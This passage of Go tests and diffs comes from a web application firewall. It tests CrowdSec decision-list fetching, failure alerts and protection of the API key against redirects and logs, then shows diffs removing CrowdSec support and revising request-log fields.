lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T,
) {
t.Parallel()
for _, tc := range crowdSecFailures() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
queue := newQueue()
p := crowdSecParams()
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
p.Alerts = queue
lists := start(t, e, p)
kept := lists.Snapshot()
e.set(tc.fail)
// Each failure is tried again a minute after it.
for range 2 {
time.Sleep(time.Minute)
synctest.Wait()
}
wantEngineFetches(t, e, 3)
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
want := kept[0]
want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
}
if lists.Failures(decisionsURL) != 2 {
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
}
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue,
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
wantKeyNotShown(t, e, log.String(), lists, queue)
})
})
}
}
// crowdSecFailure is a way for the engine to fail: fail has it answer the
// fetches after the first so that they fail with error.
type crowdSecFailure struct {
name string
fail func(e *engine)
error string
}
// crowdSecFailures returns the ways the engine can fail.
func crowdSecFailures() []crowdSecFailure {
const notDecision = " does not give an address or a netblock and a duration, " +
"such as 4h0m0s"
return []crowdSecFailure{
{
"an answer other than 200",
func(e *engine) { e.failing = true },
"the server answered 503 Service Unavailable",
},
{
"a key the engine refuses",
func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden",
},
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{
"an answer that does not read",
func(e *engine) { e.answer = "<html>" },
"read the answer: invalid character '<' looking for beginning of value",
},
{
"a decision to ban whose value does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
},
"decision 1" + notDecision,
},
{
"a decision to ban whose duration does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
`"type": "ban", "value": "198.51.100.0/24"}]`
},
"decision 2" + notDecision,
},
}
}
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// reputation.json keeps.
func wantKeyNotShown(
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
) {
t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil {
t.Fatalf("encode: %v", err)
}
if strings.Contains(log+string(shown), engineKey) {
t.Errorf("the key is shown in\n%s\n%s", log, shown)
}
}
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
// Restarted half an hour later with what reputation.json keeps, and
// the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on.
time.Sleep(30 * time.Minute)
down := &engine{key: engineKey, failing: true}
again := reputation.New(crowdSecParams())
again.SetTransport(down)
err := again.Load(kept)
if err != nil {
t.Fatalf("load: %v", err)
}
run(t, again)
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
})
}
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
lists := reputation.New(crowdSecParams())
// Tried, and never fetched: there is no copy to read.
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
if err != nil {
t.Errorf("load the list never fetched: %v", err)
}
err = lists.Load([]reputation.List{{
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
`"value": "198.51.100.0/33"}]`,
},
}})
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
"address or a netblock and a duration, such as 4h0m0s"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
// engine is a stand-in for the local API of a CrowdSec engine. It answers
// a fetch of the decision list that carries its key in X-Api-Key with its
// decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does,
// with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct {
mu sync.Mutex
key string
decisions []decision
answer string
redirect string
failing bool
fetches int
keySentTo []string
}
// decision is a decision of the engine, which ends at expires.
type decision struct {
scope, value, kind, scenario string
expires time.Time
}
// RoundTrip has the engine answer req, in place of the network.
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.mu.Lock()
defer e.mu.Unlock()
e.fetches++
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
body = e.inForce(time.Now())
}
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: header,
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
}
// inForce returns the decisions in force at now, as the engine answers
// them: a JSON list, null for none.
func (e *engine) inForce(now time.Time) string {
var answer []map[string]string
for _, d := range e.decisions {
if now.Before(d.expires) {
answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
})
}
}
body, err := json.Marshal(answer)
if err != nil {
panic(err) // a list of maps of strings always encodes
}
return string(body)
}
// set changes the engine with change.
func (e *engine) set(change func(e *engine)) {
e.mu.Lock()
defer e.mu.Unlock()
change(e)
}
// crowdSecParams returns the Params of the decision list of the tests'
// engine, fetched with its key, by the bubble's clock, with alerts to a
// queue that sends none.
func crowdSecParams() reputation.Params {
p := params()
p.CrowdSecDecisionsURL = decisionsURL
p.CrowdSecKey = engineKey
return p
}
// wantEngineFetches waits until Run has made the fetches due, and checks
// how many the engine has had.
func wantEngineFetches(t *testing.T, e *engine, want int) {
t.Helper()
synctest.Wait()
e.mu.Lock()
got := e.fetches
e.mu.Unlock()
if got != want {
t.Errorf("%d fetches, want %d", got, want)
}
}
// wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none.
func wantDecision(
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
) {
t.Helper()
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
if listed != !want.Expires.IsZero() ||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
}
}
internal/reputation/export_test.go
-1
View File
@@ -11,7 +11,6 @@ import (
// network.
func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
}
// SetTransport has a's checks go through transport instead of the
internal/reputation/reputation.go
+31 -174
View File
@@ -1,9 +1,8 @@
// Package reputation fetches the lists the settings name by URL: the
// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of
// blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each,
// whole, comment lines included, which is used while a fetch fails, and
// when each was last tried. It also asks the DNSBL zones of
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to reputation.json and
@@ -12,7 +11,6 @@ package reputation
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
@@ -34,10 +32,6 @@ const (
maxListBytes = 16 << 20
// fetchTimeout bounds one fetch of a list.
fetchTimeout = time.Minute
// crowdSecRefresh is how long after the CrowdSec decision list was last
// fetched or tried it is fetched again: the engine is the operator's
// own, and makes and ends decisions all the time.
crowdSecRefresh = time.Minute
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
// IPv4-mapped address.
mappedBits = 96
@@ -49,8 +43,6 @@ var (
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s")
)
// List is a list as reputation.json holds it: the URL it is fetched from,
@@ -71,14 +63,8 @@ type Params struct {
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string
ASNLimitPercentURL string
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is
// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
// fetched again (SWWAF_BLOCKLIST_REFRESH).
Refresh time.Duration
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
@@ -93,10 +79,6 @@ type Params struct {
type Lists struct {
params Params
httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex
// lists are by URL, one for each URL Params names.
@@ -113,36 +95,17 @@ type list struct {
}
// entries are what the lines of a copy say: for a blocklist, the netblocks
// it names, with the lengths among them, for the file of AS:percent lines,
// the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths
// among them.
// it names, with the lengths among them, and for the file of AS:percent
// lines, the percentage it gives each AS number.
type entries struct {
netblocks map[netip.Prefix]bool
lengths []int
percents map[string]int64
decisions map[netip.Prefix]Decision
}
// Decision is a decision of the CrowdSec engine to ban a netblock: when
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
type Decision struct {
Expires time.Time
Scenario string
}
// New returns the lists, without a copy of any yet.
func New(params Params) *Lists {
l := &Lists{
params: params,
httpClient: &http.Client{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{},
}
l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}}
for _, listURL := range l.URLs() {
l.lists[listURL] = &list{kept: List{URL: listURL}}
@@ -152,18 +115,13 @@ func New(params Params) *Lists {
}
// URLs returns the URL of every list: the blocklists' in the order
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
// the CrowdSec decision list's.
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL.
func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" {
urls = append(urls, l.params.ASNLimitPercentURL)
}
if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL)
}
return urls
}
@@ -199,37 +157,6 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
return percent, listed
}
// CrowdSecDecision returns the decision of the copy of the CrowdSec
// decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false
}
l.mu.Lock()
defer l.mu.Unlock()
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
var last Decision
for _, length := range kept.lengths {
netblock, err := addr.Prefix(length)
if err != nil {
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
}
decision := kept.decisions[netblock]
if decision.Expires.After(last.Expires) {
last = decision
}
}
return last, now.Before(last.Expires)
}
// Fetched returns when the copy in use of the list at listURL was
// fetched, or zero while there is none.
func (l *Lists) Fetched(listURL string) time.Time {
@@ -247,9 +174,10 @@ func (l *Lists) Failures(listURL string) int {
return l.lists[listURL].failures
}
// Run fetches each list once it is due, as due tells, until ctx is done. A
// list never tried is fetched at once, and so is one that is due by its
// last try or copy read from reputation.json.
// Run fetches each list once Refresh has passed since it was last fetched
// or tried, the later of the two, until ctx is done. A list never tried is
// fetched at once, and so is one whose last try or copy, read from
// reputation.json, is that old.
func (l *Lists) Run(ctx context.Context) {
if len(l.lists) == 0 {
return
@@ -297,12 +225,11 @@ func (l *Lists) Load(lists []List) error {
found := make(map[string]entries, len(lists))
for _, kept := range lists {
_, named := l.lists[kept.URL]
if !named || kept.Fetched.IsZero() {
continue // dropped, or a list tried but never fetched, without a copy
if _, named := l.lists[kept.URL]; !named {
continue
}
read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
read, err := l.parse(kept.URL, kept.Lines)
if err != nil {
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
}
@@ -318,8 +245,9 @@ func (l *Lists) Load(lists []List) error {
}
for _, kept := range lists {
if _, named := l.lists[kept.URL]; named {
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL]
read, named := found[kept.URL]
if named {
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, read
}
}
@@ -348,8 +276,7 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
}
// due returns when the list at listURL is to be fetched: Refresh after it
// was last fetched or tried, the later of the two, or crowdSecRefresh
// after for the CrowdSec decision list.
// was last fetched or tried, the later of the two.
func (l *Lists) due(listURL string) time.Time {
l.mu.Lock()
defer l.mu.Unlock()
@@ -361,10 +288,6 @@ func (l *Lists) due(listURL string) time.Time {
last = held.kept.Tried
}
if listURL == l.params.CrowdSecDecisionsURL {
return last.Add(crowdSecRefresh)
}
return last.Add(l.params.Refresh)
}
@@ -375,14 +298,14 @@ func (l *Lists) due(listURL string) time.Time {
// so that a restart waits for it: the server may have had its request.
func (l *Lists) fetch(ctx context.Context, listURL string) {
lines, err := l.get(ctx, listURL)
now := l.params.Now()
var found entries
if err == nil {
found, err = l.parse(listURL, lines, now)
found, err = l.parse(listURL, lines)
}
cutOff := err != nil && ctx.Err() != nil
now := l.params.Now()
l.mu.Lock()
@@ -427,11 +350,8 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
})
}
// get fetches the list at listURL, and returns its lines. The CrowdSec
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it, by crowdSecClient, which follows no redirect.
// An answer other than 200, or a list longer than maxListBytes, is a
// failure.
// get fetches the list at listURL, and returns its lines. An answer other
// than 200, or a list longer than maxListBytes, is a failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel()
@@ -441,14 +361,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err)
}
client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
}
res, err := client.Do(req)
res, err := l.httpClient.Do(req)
if err != nil {
// Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept.
@@ -480,22 +393,16 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return lines, nil
}
// parse reads the lines of the list at listURL, fetched at fetched: those
// of a blocklist, of the file of AS:percent lines, or of the CrowdSec
// decision list. In the first two, anything after a ; or a # on a line is
// parse reads the lines of the list at listURL: those of a blocklist, or
// of the file of AS:percent lines. Anything after a ; or a # on a line is
// left out, and so is a line left blank. Any other line that does not read
// is an error naming it by its number.
func (l *Lists) parse(
listURL string, lines []string, fetched time.Time,
) (entries, error) {
switch listURL {
case l.params.ASNLimitPercentURL:
func (l *Lists) parse(listURL string, lines []string) (entries, error) {
if listURL == l.params.ASNLimitPercentURL {
return parsePercents(lines)
case l.params.CrowdSecDecisionsURL:
return parseDecisions(lines, fetched)
default:
return parseNetblocks(lines)
}
return parseNetblocks(lines)
}
// parseNetblocks reads a blocklist's lines, each an address or a netblock
@@ -579,56 +486,6 @@ func parsePercents(lines []string) (entries, error) {
return found, nil
}
// parseDecisions reads the lines of the CrowdSec decision list fetched at
// fetched: the engine's answer, a JSON list of its decisions in force,
// null while it has none. A decision of the type ban whose scope is Ip or
// Range, as CrowdSec names them, bans its value, an address or a netblock
// as parseNetblock reads it, until its duration, the time it had left as
// the engine answered, has passed since fetched. Any other decision, such
// as one to show a captcha or one on a country, is left out. A decision
// to ban whose value or duration does not read is an error naming it by
// its number.
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
var answer []struct {
Duration string `json:"duration"`
Scenario string `json:"scenario"`
Scope string `json:"scope"`
Type string `json:"type"`
Value string `json:"value"`
}
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
if err != nil {
return entries{}, fmt.Errorf("read the answer: %w", err)
}
found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer {
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
continue
}
netblock, ok := parseNetblock(decision.Value)
duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil {
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
}
expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
}
if !slices.Contains(found.lengths, netblock.Bits()) {
found.lengths = append(found.lengths, netblock.Bits())
}
}
return found, nil
}
// withoutComment returns line without anything after a ; or a #, and
// without the spaces around what is left.
func withoutComment(line string) string {
internal/reputation/reputation_test.go
+7 -15
View File
@@ -215,7 +215,12 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
wantAlert(t, queue, alerts.Alert{
Time: time.Now().Add(-refresh),
Event: alerts.EventSourceFailure,
Reason: "fetching a list failed",
Detail: map[string]any{"source": dropURL, "error": tc.error},
})
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error) {
@@ -530,9 +535,7 @@ func newQueue() *alerts.Queue {
// start returns the lists of p, fetched through servers by Run, which runs
// until the test ends, once Run has fetched those due at start.
func start(
t *testing.T, servers http.RoundTripper, p reputation.Params,
) *reputation.Lists {
func start(t *testing.T, servers *standIn, p reputation.Params) *reputation.Lists {
t.Helper()
lists := reputation.New(p)
@@ -594,17 +597,6 @@ func waiting(queue *alerts.Queue) []alerts.Alert {
return queue.Snapshot().Waiting[alerts.DestinationWebhook]
}
// fetchFailure is the source_failure alert raised at the time raised for
// a fetch of the list at listURL that failed with err.
func fetchFailure(raised time.Time, listURL, err string) alerts.Alert {
return alerts.Alert{
Time: raised,
Event: alerts.EventSourceFailure,
Reason: "fetching a list failed",
Detail: map[string]any{"source": listURL, "error": err},
}
}
// wantAlert checks that want is the one alert waiting in queue, and that
// the cooldown has held back one repeat of it.
func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
internal/requestlog/requestlog.go
+47 -105
View File
@@ -1,7 +1,6 @@
// Package requestlog writes the lines smallwebwaf prints on stdout: one
// JSON object per request, two from servewaf and a short one from rproxy, marked
// "type":"request", and the process's own messages as JSON lines marked
// "type":"process".
// JSON object per request, marked "type":"request", and the process's own
// messages as JSON lines marked "type":"process".
package requestlog
import (
@@ -14,27 +13,27 @@ import (
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
)
// The action a request line names: what servewaf did with the request.
// The action a request line names: what smallwebwaf did with the
// request.
const (
// ActionForward is a request servewaf allowed, which rproxy passes to the
// app.
// ActionForward is a request passed to the app.
ActionForward = "forward"
// ActionTooLarge is a request over the header limits.
// ActionTooLarge is a request or response over its size limit.
ActionTooLarge = "too_large"
// ActionTimedOut is a request or response that ran out of time.
ActionTimedOut = "timed_out"
// ActionUpstreamError is a request the app could not be reached
// for, or whose answer could not be passed on.
ActionUpstreamError = "upstream_error"
// ActionRateLimited is a request refused because it took its client
// over a rate limit, which bans the client.
ActionRateLimited = "rate_limited"
// ActionBanned is a request refused because a ban covers its client,
// or because it matched a ban rule, asked for a trap path or the
// CrowdSec decision list lists its client, each of which bans the
// client.
// or because it matched a ban rule, which bans the client.
ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block
// rule.
ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -42,46 +41,29 @@ const (
ActionDenied = "denied"
// ActionCountryDenied is a request refused for its client's country.
ActionCountryDenied = "country_denied"
// ActionAdmin is a request servewaf answered at one of its own endpoints,
// or a question about a path under /_smallwebwaf/.
// ActionAdmin is a request smallwebwaf answered at one of its own
// endpoints, under /_smallwebwaf/.
ActionAdmin = "admin"
)
// OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
// broke a rate limit, or whose bytes broke a byte limit.
const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitErrorBurst = "error_burst"
// The servewaf_line a request line names, which says which of servewaf's two
// lines about a question it is.
const (
// ServeWAFLineDecision is servewaf's line at its decision.
ServeWAFLineDecision = "decision"
// ServeWAFLineReport is servewaf's line when rproxy's report comes, with
// the decision's fields and the report's together.
ServeWAFLineReport = "report"
)
// timeLayout is RFC 3339 with milliseconds.
const timeLayout = "2006-01-02T15:04:05.000Z07:00"
// Line is one request's line in the request log. The field names, and
// their order, are those of docs/request-log.md. A field that may not
// apply to a request is left out of its line when it does not.
// their order, are those of the "Request log" section of SPEC.md. A field
// that may not apply to a request is left out of its line when it does
// not.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case
type Line struct {
Type string `json:"type"`
// ServeWAFLine is ServeWAFLineDecision or ServeWAFLineReport on servewaf's
// two lines about a question.
ServeWAFLine string `json:"servewaf_line,omitempty"`
// The standard web log fields. Scheme is how the client reached rproxy, or
// the trusted proxy in front of it.
// The standard web log fields. Scheme is how the client reached
// smallwebwaf, or the trusted proxy in front of it.
Time string `json:"time"`
Instance string `json:"instance"`
ClientIP string `json:"client_ip"`
@@ -97,8 +79,8 @@ type Line struct {
Referer string `json:"referer"`
UserAgent string `json:"user_agent"`
// Request detail. RequestID is the id rproxy made for the request, or for a
// request to servewaf's own endpoints a new one. ForwardedFor is the
// Request detail. RequestID is the X-Request-ID a trusted proxy sent,
// or a new one, and is sent on to the app. ForwardedFor is the
// X-Forwarded-For header as received. ClientGroup is the netblock the
// client is counted as. ASN, ASName and Country are the client's AS
// number, AS name and country, as looked up.
@@ -117,19 +99,25 @@ type Line struct {
RequestHeaders map[string]string `json:"request_headers,omitempty"`
HasAuthorization bool `json:"has_authorization,omitempty"`
HasCookie bool `json:"has_cookie,omitempty"`
// Websocket is true when the connection was upgraded, as for a
// WebSocket.
Websocket bool `json:"websocket,omitempty"`
// Response detail, of servewaf's own answer. Aborted is true when rproxy, or
// the admin's tool, went away before the answer.
// Response detail, from the headers of the answer: the app's, as
// passed on, or those of smallwebwaf's own. Aborted is true when the
// client went away early.
ResponseContentType string `json:"response_content_type,omitempty"`
UpstreamStatus int `json:"upstream_status,omitempty"`
CacheControl string `json:"cache_control,omitempty"`
Location string `json:"location,omitempty"`
Aborted bool `json:"aborted,omitempty"`
// The decision.
Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked, ActionWAFBlocked, or, in servewaf, ActionTooLarge
// for the header limits.
// ActionBanned, ActionCountryDenied, ActionRateLimited or
// ActionRuleBlocked.
WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of
@@ -147,20 +135,13 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst.
// minute_bytes, hour_bytes or day_bytes for a byte limit.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit.
// the DNSBL zones whose verdict lists it, their keys masked, then
// abuseipdb when its score is a hit.
Reputation []string `json:"reputation,omitempty"`
// Offence is the offence the request was held as, OffenceLimit.
Offence string `json:"offence,omitempty"`
@@ -169,61 +150,22 @@ type Line struct {
BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the
// checks were done, and DurationWAF the part of it the Core Rule Set
// took. DurationUpstreamTotal is what the report of an allowed request gives,
// from the hand-over to the app until the end of its answer. Each but
// DurationTotal is nil for a request that did not get that far.
DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
}
// RProxyLine is rproxy's short line in the request log about one request. The
// field names, and their order, are those of docs/request-log.md. A field that
// does not apply to a request is left out of its line.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
type RProxyLine struct {
Type string `json:"type"`
Time string `json:"time"`
RequestID string `json:"request_id"`
ClientIP string `json:"client_ip"`
Host string `json:"host"`
Method string `json:"method"`
Path string `json:"path"`
Query string `json:"query"`
Status int `json:"status"`
RequestBytes int64 `json:"request_bytes"`
ResponseBytes int64 `json:"response_bytes"`
// DurationRequest runs in milliseconds from the request's headers being read
// until the app has been sent the whole request, or the answer has started
// if that is sooner. DurationResponse runs from then until the answer ends.
DurationRequest float64 `json:"duration_request"`
DurationResponse float64 `json:"duration_response"`
// Disposition is the valid disposition servewaf answered or, while
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
// when neither gave one.
Disposition string `json:"disposition,omitempty"`
DefaultDisposition bool `json:"default_disposition,omitempty"`
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
// and DurationUpstreamTotal run from when the request was handed to the
// app: until there was a connection to it, until the first byte of its
// answer arrived, and until the end. Each but DurationTotal is nil for
// a request that did not get that far.
DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
